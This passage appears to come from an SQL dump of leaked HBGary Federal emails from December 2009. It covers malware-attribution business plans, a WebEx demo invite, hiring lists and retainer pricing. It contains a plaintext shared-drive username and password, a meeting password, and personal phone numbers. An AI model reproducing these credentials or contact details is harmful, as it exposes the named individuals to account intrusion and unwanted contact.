[mailto:aaron@hbgary.com] \r\n> Sent: Friday, December 04, 2009 10:49 AM\r\n> To: Jolly, John S (IS)\r\n> Cc: Freeman, William E. (IS); Conroy, Thomas W.; Barnett, Jim H.;\r\n> Warden, Kathy J (IS); Ted Vera\r\n> Subject: Cybersecurity Discussions\r\n> \r\n> John,\r\n> \r\n> Not sure if you know, but I am no longer with Northrop.  My current\r\n> position is as CEO of HBGary Federal, a wholly owned subsidiary of\r\n> HBGary.  HBGary builds malware detection and analysis products.  Their\r\n> history is steeped in Forensics, but their recent products and\r\n> technology roadmap is focused more on malware detection and incident\r\n> response.\r\n> \r\n> Specifically a product launched last spring called Digital DNA and\r\n> another product launched last month called ReCON.  They currently have\r\na\r\n> malware genome with 3500 traits/characteristics identified.  Using\r\ntheir\r\n> memory capture and analysis tools they look at the function and\r\nbehavior\r\n> of software and compare that to the malware genome and attribute a\r\n> threat score indicating the likely hood of it being malware.  Using\r\nthe\r\n> genome they are also doing comparisons of malware for authorship\r\n> identification.  I think this has possibilities for attribution if\r\n> linked with capabilities like Palantir.  I am currently in discussions\r\n> with Palantir to partner on an attribution based capability.\r\nCurrently\r\n> we claim 75% identification of zero day malware and believe further\r\n> build outs of the genome and partnerships with other technologies will\r\n> get us into the 80-90% range.\r\n> \r\n> I spoke to Ralph Denty from NSA cybersecurity operations integration,\r\nhe\r\n> is putting me in contact with some folks from Carnegie Melon, who have\r\n> been recently charted by NSA to look at developing something similar.\r\n> We also have a current partnership with Mcafee and have integrated\r\n> Digital DNA into their ePO product which is currently the base for\r\nHBSS.\r\n> \r\n> My question is is their any interest from a TU perspective,\r\nspecifically\r\n> Tutiledge, in including this type of capability?  I think there are\r\nsome\r\n> longer term efforts on forward deployed systems using this type of\r\n> methodology that could eventually detect evolutions of attacks and\r\n> develop defensive capabilities against them before they ever reach you\r\n> systems.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',913,'aaron_hbgary_com/913.html'),(707,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000019.M860470P3547Q707.eml','\"Ted Vera\" <ted@hbgary.com>','','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10353,'aaron_hbgary_com/10353.html'),(708,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000028.M300385P3547Q708.eml','\"Ted Vera\" <ted@hbgary.com>','','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15329,'aaron_hbgary_com/15329.html'),(709,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000031.M555686P3547Q709.eml','\"Ted Vera\" <ted@hbgary.com>','','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16691,'aaron_hbgary_com/16691.html'),(710,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000031.M864552P3547Q710.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','Re: Cybersecurity Discussions','Here is the premiss.\r\n\r\nI am going to work on more of the details over the break.\r\n\r\nHBGary\'s Malware Genome Database combined with Palantir Link Analysis capabilities, all in the hands of experienced intel, threat, and malware analysts.\r\n\r\nWe are calling this the Threat Intelligence Center.  HBGary has automated capabilities to identify traits of malware, compare code snippets for authorship similarities and identification.  I kept looking at attribution as an IP problem, we can\'t do attribution because they can spoof the source.  But they can\'t spoof the code, spelling mistakes are made, they reuse code or mechanisms of coding, etc.  There are all kinds of software internal identifiers, but they can only be identified by reverse engineering the software, which until now is a manual process.  HBGary has automated reverse engineering and trait identification.  Add to this Palantir and their ability to do multi-int link analysis more easily than other tools.  Add the right feeds, such as Centaur, Tutiledge, and other intel/cyber feeds.  Put these capabilities in the hands of some really skilled intel/threat/malware analysts in a cell type format.\r\n\r\nI think this construct can push the rock on attribution.\r\n\r\nA case in point.  We were just reverse engineering and analyzing a new piece of malware called the black energy rootkit.  We noticed there was some code and coding methods that were the same as those used in a rootkit first deployed about 4 years ago.  There were no readily apparent identifiers in the latest rootkit, but in the one released 4 years ago there was the authors handle embedded in the code.  Thats an easy one.\r\n\r\nWhat do you think?  Again needs some more definition.  I have been working with the Palantir guys a lot, they like it and want to partner to build the capability.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 17, 2009, at 12:10 PM, Barnett, Jim H. wrote:\r\n\r\n> Actually, working with Sameer is not that difficult...but as you\r\n> noted...high risk if you are NGC badged.  I will be headed over to work\r\n> with SASC and HPSCI this afternoon, and then back in with HPSCI Tuesday\r\n> but not from an NGC perspective...just doing the right thing.  You will\r\n> find him engaging.\r\n> Attribution (or identify management as the Dems like to call it) is\r\n> number two on the requirements list but a critical need.  If you\r\n> actually have something, I can get you in touch with folks in USD(I) who\r\n> are really looking for solutions along this line...\r\n> Have fun with the kids (and wife) over the Holiday...and keep in touch.\r\n> My clock is down to about 100 and then I start plan A.\r\n> Jim\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, December 17, 2009 12:06 PM\r\n> To: Barnett, Jim H.\r\n> Subject: Re: Cybersecurity Discussions\r\n> \r\n> Hi Jim.  Thanks for the note.  I sat next to John Russack on the plane\r\n> back from Denver last night, similar topics.  I am working with Xetron\r\n> closely (great folks/lots of capability).  They are hungry, get the\r\n> problem and possible solutions.  In hindsight, Northrop wasn\'t the right\r\n> place for me.  In my current position I get to steer the ship where I\r\n> think is best with little restrictions or friction.  A buddy of mine,\r\n> Jake Olcott, is setting up some meetings after the holidays with Jim\r\n> Lewis over at CSI and Sameer over at SSCI.  I couldn\'t have done that\r\n> easily within Northrop as one example.  And as long as people like you,\r\n> Tom, Xetron, Bill Freeman, are still around I will continue to want to\r\n> reach out to Northrop.\r\n> \r\n> This attribution idea keeps growing, I think we can push the rock a\r\n> little.  I can\'t believe of all the ideas I am onto attribution.  I\r\n> remember the conversations with you, Tom, and Rich well on this topic.\r\n> \r\n> Have a great Holiday Jim.  Hopefully get a chance to run in to you after\r\n> the new year.\r\n> \r\n> Aaron\r\n> \r\n> On Dec 17, 2009, at 11:05 AM, Barnett, Jim H. wrote:\r\n> \r\n>> Aaron, great to hear from you...and know you are doing well.  Sorry\r\n> that\r\n>> NGC didn\'t figure out how to realize your potential...or to at least\r\n>> listen.\r\n>> Seems to be happening a lot around here...oh well.\r\n>> Keep in touch...\r\n>> Jim\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, December 04, 2009 10:49 AM\r\n>> To: Jolly, John S (IS)\r\n>> Cc: Freeman, William E. (IS); Conroy, Thomas W.; Barnett, Jim H.;\r\n>> Warden, Kathy J (IS); Ted Vera\r\n>> Subject: Cybersecurity Discussions\r\n>> \r\n>> John,\r\n>> \r\n>> Not sure if you know, but I am no longer with Northrop.  My current\r\n>> position is as CEO of HBGary Federal, a wholly owned subsidiary of\r\n>> HBGary.  HBGary builds malware detection and analysis products.  Their\r\n>> history is steeped in Forensics, but their recent products and\r\n>> technology roadmap is focused more on malware detection and incident\r\n>> response.\r\n>> \r\n>> Specifically a product launched last spring called Digital DNA and\r\n>> another product launched last month called ReCON.  They currently have\r\n> a\r\n>> malware genome with 3500 traits/characteristics identified.  Using\r\n> their\r\n>> memory capture and analysis tools they look at the function and\r\n> behavior\r\n>> of software and compare that to the malware genome and attribute a\r\n>> threat score indicating the likely hood of it being malware.  Using\r\n> the\r\n>> genome they are also doing comparisons of malware for authorship\r\n>> identification.  I think this has possibilities for attribution if\r\n>> linked with capabilities like Palantir.  I am currently in discussions\r\n>> with Palantir to partner on an attribution based capability.\r\n> Currently\r\n>> we claim 75% identification of zero day malware and believe further\r\n>> build outs of the genome and partnerships with other technologies will\r\n>> get us into the 80-90% range.\r\n>> \r\n>> I spoke to Ralph Denty from NSA cybersecurity operations integration,\r\n> he\r\n>> is putting me in contact with some folks from Carnegie Melon, who have\r\n>> been recently charted by NSA to look at developing something similar.\r\n>> We also have a current partnership with Mcafee and have integrated\r\n>> Digital DNA into their ePO product which is currently the base for\r\n> HBSS.\r\n>> \r\n>> My question is is their any interest from a TU perspective,\r\n> specifically\r\n>> Tutiledge, in including this type of capability?  I think there are\r\n> some\r\n>> longer term efforts on forward deployed systems using this type of\r\n>> methodology that could eventually detect evolutions of attacks and\r\n>> develop defensive capabilities against them before they ever reach you\r\n>> systems.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8540,'aaron_hbgary_com/8540.html'),(711,'2009-12-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000035.M552690P3547Q712.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: (Forward to attendees) Meeting invitation: HBGary demo for Brian M.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is the webex invitation for tomorrow’s 8am demo.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:messenger@webex.com] \r\nSent: Tuesday, December 15, 2009 6:44 PM\r\nTo: bob@hbgary.com\r\nSubject: (Forward to attendees) Meeting invitation: HBGary demo for\r\nBrian M.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n****\r\nYou can forward this email invitation to attendees **** \r\n\r\nHello , \r\n\r\nBob Slapnik invites you to attend this online meeting. \r\n\r\nTopic: HBGary demo for Brian M. \r\nDate: Friday, December 18, 2009 \r\nTime: 8:00 am, Eastern Standard Time (New York, GMT-05:00) \r\nMeeting Number: 574 054 512 \r\nMeeting Password: ddna123 \r\n\r\n\r\n------------------------------------------------------- \r\nTo join the online meeting (Now from iPhones too!) \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/j.php?ED=136521282&amp;UID=0&amp;PW=NN2M2MzM3MDNl&amp;RT=MiMxMQ%3D%3D\r\n\r\n2. Enter your name and email address. \r\n3. Enter the meeting password: ddna123 \r\n4. Click &quot;Join Now&quot;. \r\n\r\nTo view in other time zones or languages, please click the link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=136521282&amp;UID=0&amp;PW=NN2M2MzM3MDNl&amp;ORT=MiMxMQ%3D%3D\r\n\r\n\r\n------------------------------------------------------- \r\nTo join the audio conference only \r\n------------------------------------------------------- \r\nCall-in toll number (US/Canada): 1-408-792-6300 \r\nGlobal call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=136521282&amp;tollFree=0\r\n\r\n\r\nAccess code:574 054 512 \r\n\r\n------------------------------------------------------- \r\nFor assistance \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/mc\r\n\r\n2. On the left navigation bar, click &quot;Support&quot;. \r\n\r\nYou can contact me at: \r\nbob@hbgary.com \r\n\r\n\r\nTo add this meeting to your calendar program (for example Microsoft Outlook),\r\nclick this link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=136521282&amp;UID=0&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=EVfN0ATt--iq/xz6thruhReLhgW6gKrYUS-GAk4wTX4=&amp;RT=MiMxMQ%3D%3D\r\n\r\n\r\nThe playback of UCF (Universal Communications Format) rich media files requires\r\nappropriate players. To view this type of rich media files in the meeting,\r\nplease check whether you have the players installed on your computer by going\r\nto https://hbgary.webex.com/hbgary/systemdiagnosis.php\r\n\r\n\r\nSign up for a free trial of WebEx \r\nhttp://www.webex.com/go/mcemfreetrial\r\n\r\n\r\nhttp://www.webex.com \r\n\r\n\r\n\r\nIMPORTANT NOTICE: This WebEx service includes a feature that allows audio and\r\nany documents and other materials exchanged or viewed during the session to be\r\nrecorded. By joining this session, you automatically consent to such\r\nrecordings. If you do not consent to the recording, do not join the session. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12847,'aaron_hbgary_com/12847.html'),(712,'2009-12-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000035.M743398P3547Q713.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Amanda,Thank you for meeting with me today. &nbsp;I look forward to the opportunity of helping the team write a winning proposal, working through a seamless transition, and building a new set of capabilities that can increase the value of that work throughout government. &nbsp;I think without my help you have a great chance of coming out with the winning proposal, but I can tell you from nearly seven years of experience that this work is not easy, there are not a lot of people that have successful experience building/managing this type of work. &nbsp;I believe my assistance would be most critical in the transition and in building a new set of capabilities.Respectfully,AaronOn Dec 2, 2009, at 1:02 PM, Brownfield, Amanda L. wrote:Thanks for the information, Mike.&nbsp;Aaron,I am very familiar with the opportunity that you are pursuing.&nbsp; Based on our discussions with the customer I believe that NG/TASC is not in a very good position for its recompete.&nbsp; Given the fact that you have left the company I assume this makes their position even worse?&nbsp; I am the lead division for SAIC (also own digital echo) and have been ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have begun our proposal preparation.&nbsp; I would welcome the opportunity to speak with you as soon as possible.&nbsp; &nbsp;&nbsp;April Huffman will need to send you a NDA before we can meet.&nbsp; I am on travel next WED thru FRI, and my time before then is very tight with a proposal resubmit due Tuesday.&nbsp;&nbsp;I look forward to meeting you,&nbsp;&nbsp;Amanda L. BrownfieldVP/Division ManagerAdvanced Analytics and Cultural ResearchSAIC703-810-8979 office703-862-5614 BB&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13125,'aaron_hbgary_com/13125.html'),(713,'2009-12-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000035.M80044P3547Q711.eml','\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>,\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>','Updated Charts','Scott,Attached are the charts updated as we discussed.  Please let me know what you think.Ted\r\n\r\n',11455,'aaron_hbgary_com/11455.html'),(714,'2009-12-18','ted@hbgary.com','/aaron@hbgary.com/new/1297000035.M955671P3547Q714.eml','aaron@hbgary.com','Contingent Offers','\r\n\r\nI\'ve shared Contingent Offers\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we&#39;ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',1671,'aaron_hbgary_com/1671.html'),(715,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000036.M167627P3547Q715.eml','ted@hbgary.com','Re: Contingent Offers','What is the path/status for contacting LM for UNO?AaronFrom my iPhoneOn Dec 17, 2009, at 8:21 PM, ted@hbgary.com wrote:\r\n\r\n\r\n\r\nI&#39;ve shared Contingent Offers\r\n\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we&#39;ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\n\r\n',14858,'aaron_hbgary_com/14858.html'),(716,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000036.M349749P3547Q716.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contingent Offers','They are going to get back to us on a date/time to meet in DC. &nbsp;Need to prepare an updated/tailored capabilities brief in the meantime. &nbsp;Also need to fill out sponsor paperwork once we have the cage code.TedOn Dec 17, 2009, at 7:29 PM, Aaron Barr wrote:What is the path/status for contacting LM for UNO?AaronFrom my iPhoneOn Dec 17, 2009, at 8:21 PM, ted@hbgary.com wrote:\r\n\r\n\r\n\r\nI\'ve shared Contingent Offers\r\n\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we\'ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',6922,'aaron_hbgary_com/6922.html'),(717,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000036.M529005P3547Q717.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Contingent Offers','are these in order of preference for hire?On Dec 17, 2009, at 9:32 PM, Ted Vera wrote:They are going to get back to us on a date/time to meet in DC. &nbsp;Need to prepare an updated/tailored capabilities brief in the meantime. &nbsp;Also need to fill out sponsor paperwork once we have the cage code.TedOn Dec 17, 2009, at 7:29 PM, Aaron Barr wrote:What is the path/status for contacting LM for UNO?AaronFrom my iPhoneOn Dec 17, 2009, at 8:21 PM, ted@hbgary.com wrote:\r\n\r\n\r\n\r\nI\'ve shared Contingent Offers\r\n\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we\'ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4483,'aaron_hbgary_com/4483.html'),(718,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000036.M723598P3547Q718.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contingent Offers','NopeOn Dec 17, 2009, at 8:33 PM, Aaron Barr wrote:are these in order of preference for hire?On Dec 17, 2009, at 9:32 PM, Ted Vera wrote:They are going to get back to us on a date/time to meet in DC. &nbsp;Need to prepare an updated/tailored capabilities brief in the meantime. &nbsp;Also need to fill out sponsor paperwork once we have the cage code.TedOn Dec 17, 2009, at 7:29 PM, Aaron Barr wrote:What is the path/status for contacting LM for UNO?AaronFrom my iPhoneOn Dec 17, 2009, at 8:21 PM, ted@hbgary.com wrote:\r\n\r\n\r\n\r\nI\'ve shared Contingent Offers\r\n\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we\'ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',13294,'aaron_hbgary_com/13294.html'),(719,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000036.M896284P3547Q719.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Contingent Offers','k. &nbsp;do you want to do that or do it together over the phone.On Dec 17, 2009, at 10:33 PM, Ted Vera wrote:NopeOn Dec 17, 2009, at 8:33 PM, Aaron Barr wrote:are these in order of preference for hire?On Dec 17, 2009, at 9:32 PM, Ted Vera wrote:They are going to get back to us on a date/time to meet in DC. &nbsp;Need to prepare an updated/tailored capabilities brief in the meantime. &nbsp;Also need to fill out sponsor paperwork once we have the cage code.TedOn Dec 17, 2009, at 7:29 PM, Aaron Barr wrote:What is the path/status for contacting LM for UNO?AaronFrom my iPhoneOn Dec 17, 2009, at 8:21 PM, ted@hbgary.com wrote:\r\n\r\n\r\n\r\nI\'ve shared Contingent Offers\r\n\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we\'ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12561,'aaron_hbgary_com/12561.html'),(720,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000037.M136147P3547Q720.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contingent Offers','I just added a draft pick column, prioritized 1,2,3On Dec 17, 2009, at 8:34 PM, Aaron Barr wrote:k. &nbsp;do you want to do that or do it together over the phone.On Dec 17, 2009, at 10:33 PM, Ted Vera wrote:NopeOn Dec 17, 2009, at 8:33 PM, Aaron Barr wrote:are these in order of preference for hire?On Dec 17, 2009, at 9:32 PM, Ted Vera wrote:They are going to get back to us on a date/time to meet in DC. &nbsp;Need to prepare an updated/tailored capabilities brief in the meantime. &nbsp;Also need to fill out sponsor paperwork once we have the cage code.TedOn Dec 17, 2009, at 7:29 PM, Aaron Barr wrote:What is the path/status for contacting LM for UNO?AaronFrom my iPhoneOn Dec 17, 2009, at 8:21 PM, ted@hbgary.com wrote:\r\n\r\n\r\n\r\nI\'ve shared Contingent Offers\r\n\r\nMessage from ted@hbgary.com:\r\nThis contains more folks than we\'ll want to take, but I thought it would be good to have their contact info saved.\r\nClick to open:\r\nContingent Offers\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',9871,'aaron_hbgary_com/9871.html'),(721,'2009-12-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000037.M435337P3547Q721.eml','\"Barr Aaron\" <aaron@hbgary.com>','shared drive','Go --&gt; Connect to Server --&gt;http://idisk.hbgaryfederal.comusername: aaronpassword:  $mwg3nome-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',11078,'aaron_hbgary_com/11078.html'),(722,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000037.M629261P3547Q722.eml','\"Rich Cummings\" <rich@hbgary.com>','Lunch','Hey Rich,\r\n\r\nNot sure if you can make it but thought I would offer up.  Bob and I are meeting for Afghan food in Vienna tomorrow @ 1130 if you can make it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',450,'aaron_hbgary_com/450.html'),(723,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000037.M805165P3547Q723.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Retainer for Services doc/template','did we ever get this to penny? &nbsp;How about the rates for the other thing?AaronBegin forwarded message:From: \" Penny Hoglund\" &lt;penny@hbgary.com&gt;Date: December 15, 2009 1:03:24 PM ESTTo: \"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: FW: Retainer for Services doc/template WE need this asap&nbsp;From:&nbsp;Maria Lucas [mailto:maria@hbgary.com]&nbsp;Sent:&nbsp;Friday, December 04, 2009 12:15 PMTo:&nbsp;Penny C. HoglundSubject:&nbsp;Fwd: Retainer for Services doc/template&nbsp;pricing needed for eTrade---------- Forwarded message ----------From:&nbsp;Maria Lucas&nbsp;&lt;maria@hbgary.com&gt;Date: Wed, Dec 2, 2009 at 10:30 AMSubject: Re: Retainer for Services doc/templateTo: Penny Hoglund &lt;penny@hbgary.com&gt;Cc: Rich Cummings &lt;rich@hbgary.com&gt;,&nbsp;ted@hbgary.com,&nbsp;aaron@hbgary.comDo we have a description of services and pricing (Federal and Commercial)?&nbsp;ServiceSame Day &nbsp;&nbsp;24 Hour &nbsp;3 Day &nbsp;On-site IR clean up labor level 1&nbsp;&nbsp;&nbsp;On-Site IR clean up labor level 2&nbsp;&nbsp;&nbsp;Off-site Malware Analysis labor xx hours etc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Number of NodesCost Per Node – 2 week dissolvable agentCost Per Node – 6 week dissolvable agentLess than 5,000&nbsp;&nbsp;5000-24,999&nbsp;&nbsp;Etc.&nbsp;&nbsp;&nbsp;&nbsp;On Wed, Dec 2, 2009 at 9:51 AM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:Here is what I have for consulting agreements .&nbsp; The Pro Services agreement&nbsp;From:&nbsp;Rich Cummings [mailto:rich@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, December 02, 2009 9:32 AMTo:&nbsp;\'Penny Hoglund\';&nbsp;ted@hbgary.com;&nbsp;aaron@hbgary.comCc:&nbsp;\'Maria Lucas\'Subject:&nbsp;Retainer for Services doc/template&nbsp;All,&nbsp;Do any of you have a template or example of a services agreement for customers who would like to purchase HBGary services on retainer?&nbsp; An example is etrade, they want to have HBGary services on retainer so that *if/when* they have a network intrusion or malware analysis requirement they can pick up the bat-phone and we’ll provide the specified level of support that is agreed upon.&nbsp;We’ve been getting lots of interest in this area and the sales people should have something to provide prospective customers.&nbsp;Thanks,Rich&nbsp;--&nbsp;Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com&nbsp;|email:&nbsp;maria@hbgary.com&nbsp;http://forensicir.blogspot.com/2009/04/responder-pro-review.html--&nbsp;Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com&nbsp;|email:&nbsp;maria@hbgary.com&nbsp;http://forensicir.blogspot.com/2009/04/responder-pro-review.html',5496,'aaron_hbgary_com/5496.html'),(724,'2009-12-18','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000038.M280585P3547Q725.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Lunch','Hi Aaron,\r\n\r\nNot going to work out I\'ll be at DHS ICE from 10 - 2PM.  Maybe next time.\r\n\r\nRich\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 17, 2009 11:16 PM\r\nTo: Rich Cummings\r\nSubject: Lunch\r\n\r\nHey Rich,\r\n\r\nNot sure if you can make it but thought I would offer up.  Bob and I are\r\nmeeting for Afghan food in Vienna tomorrow @ 1130 if you can make it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',11099,'aaron_hbgary_com/11099.html'),(725,'2009-12-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000038.M470217P3547Q726.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Lunch','No worries.  Short notice.\r\n\r\nHappy Holidays\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 18, 2009, at 8:00 AM, \"Rich Cummings\"  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> Not going to work out I\'ll be at DHS ICE from 10 - 2PM.  Maybe next\r\n> time.\r\n>\r\n> Rich\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, December 17, 2009 11:16 PM\r\n> To: Rich Cummings\r\n> Subject: Lunch\r\n>\r\n> Hey Rich,\r\n>\r\n> Not sure if you can make it but thought I would offer up.  Bob and I\r\n> are\r\n> meeting for Afghan food in Vienna tomorrow @ 1130 if you can make it.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n',4578,'aaron_hbgary_com/4578.html'),(726,'2009-12-18','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297000038.M644220P3547Q727.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 12/18/2009','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Dec 11 - Dec 18\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Jim Barnett has an updated profile (Experience)\r\n\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    